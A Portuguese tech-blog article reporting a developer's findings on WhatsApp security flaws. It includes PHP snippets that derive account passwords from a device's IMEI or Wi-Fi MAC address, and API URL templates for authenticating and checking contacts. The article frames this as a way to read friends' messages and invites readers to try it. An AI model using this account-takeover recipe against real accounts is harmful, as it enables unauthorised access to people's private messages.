Mais de mil milhões de mensagens trocadas diariamente. E se conseguisse aceder as mensagens dos seus amigos?
O WhatsApp Messenger é um dos mais populares serviços para troca de mensagens entre utilizadores. Para enviar e receber mensagens, o WhatsApp necessita de ter acesso à Internet, através de uma ligação 3G/4G ou Wifi. O WhatsApp é bastante simples de usar, uma vez que não existe a necessidade de criar contas no serviço. Para se realizar uma comunicação, o WhatsApp Messenger identifica os utilizadores através dos contactos telefónicos mantidos no smartphone.
As ultima noticias relativamente ao serviço dão conta que este tem sérios problemas de segurança.
Hoje em dia são muitos os serviços que os utilizadores têm à disposição para comunicarem entre si. Um dos serviços mais usados é o WhatsApp, que de uma forma muito simples, permite a troca de mensagens entre utilizadores. Recentemente soube-se que antes de Agosto de 2012, este serviço não cifrava a informação ou seja, as mensagem podiam ser facilmente interceptadas/snifadas na rede e facilmente interpretadas.
Nessa altura a empresa responsável pelo serviço referiu que a ultima versão mantinha a confidencialidade da informação, tendo sido incluídos mecanismos para cifrar os dados trocados entre as comunicações. No entanto o programador Sam Granger, que recentemente analisou o serviço, descobriu algumas situações caricatas e que pouca segurança garantem ao serviço.
Sam Granger afirma que os números associados ao cartão SIM dos equipamentos continuam a ser trocados em texto claro, como podemos observar pela imagem seguinte,.
Outro dos “pontos fracos” que o programador referiu é a autenticação dos dispositivos móveis no serviço. Segundo Granger temos as seguintes situações:
Android
No caso do Android,a autenticação é “…um pesadelo em termos de segurança”. A password usada é um hash MD5 do IMEI invertido de cada equipamento:
$imei = “112222223333334”; // IMEI
$androidWhatsAppPassword = md5(strrev($imei)); // IMEI reservo e cálculo da md5 hash
iOS
No caso do equipamentos com iOS, a password é gerada com base no MacAddress da interface Wifi
$wlanMAC = “AA:BB:CC:DD:EE:FF”; // exemplo de de um mac address
$iphoneWhatsAppPassword = md5($wlanMAC.$wlanMAC); // calculo de md5 hash usando o MAC address
Como sabemos, o utilizador do serviço é o próprio numero de telefone do equipamento (o atacante consegue saber isso facilmente) e as password são muito fáceis de obter….o IMEI de um equipamento pode ser facilmente obtido digitando no equipamento *#06# e o MacAddress de um equipamento pode também ser facilmente capturado através de um sniffer…..parabéns com esta informação, qualquer utilizador pode transformar-se num atacante e aceder às mensagens de uma conta no WhatsApp Messenger. Mas como?
Como “crackar” o WhatsApp?
Se tiverem o WhatsApp instalado podem experimentar vocês mesmos, vocês mesmo, testando uma API que faz Engenharia Reversa.
Autenticação
https://r.whatsapp.net/v1/exist.php?cc=$countrycode&in=$phonenumber&udid=$password
$countrycode = the country calling code
$phonenumber = the users phone number (without the country calling code)
$password = see above, for iPhone use md5($wlanMAC.$wlanMAC), for Android use md5(strrev($imei)) / Note that the WhatsAPP UDID has nothing to with the Apple UDID - it is something completely different.
Se tudo estiver correcto, a resposta em será algo do tipo:
Privacidade
Quando a aplicação se inicia, envia todos os seus contactos que estão disponíveis na lista de contacto para, centralmente, o servidor verifique quais é que estão activos. O sistema faz algo do tipo:
https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$countrycode&me=$yournumber&u[]=$friend1&u[]=$friend2&u[]=$friend3&u[]=$friend4
$countrycode = the country calling code
$yournumber = while this SHOULD be your number, it is not required, the API will accept any number
$friendX = phone number (without the country calling code) from the address book that will be checked, u[] is an array so it is possible to check multiple numbers with one request
Do outro lado, o servidor responde com um documento XML, como todos os números registados no WhatsApp.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
<dict>
<key>P</key>
<string>1234567890</string>
<key>T</key>
<integer>10817</integer>
<key>S</key>
<string>Some Status Message</string>
<key>JID</key>
<string>23xxxxxxxxx</string>
<key>NP</key>
<true/>
</dict>
</array>
</plist>
Onde o “P” é o numero de telefone do utilizador, o “T” é supostamente o uptime (???) e o “S” é a mensagem do utilizador. Toda esta informação é pública.
Ganger referiu que conseguiu ler e enviar mensagens de amigos que lhe deram a permissão para testar tal descoberta.
Conclusões
Assim como o Ganger qualquer um pode aceder às mensagens dos amigos (imaginem por exemplo que conseguem arranjar o IMEI ou MacAdress da interface wireless do smartphone do vosso amigo/amiga..). Se é um utilizador que usa com frequência o serviço WhatsApp e nele costuma trocar mensagens (muito) pessoais ou de negócisos, então é melhor reflectir sobre a utilização do serviço.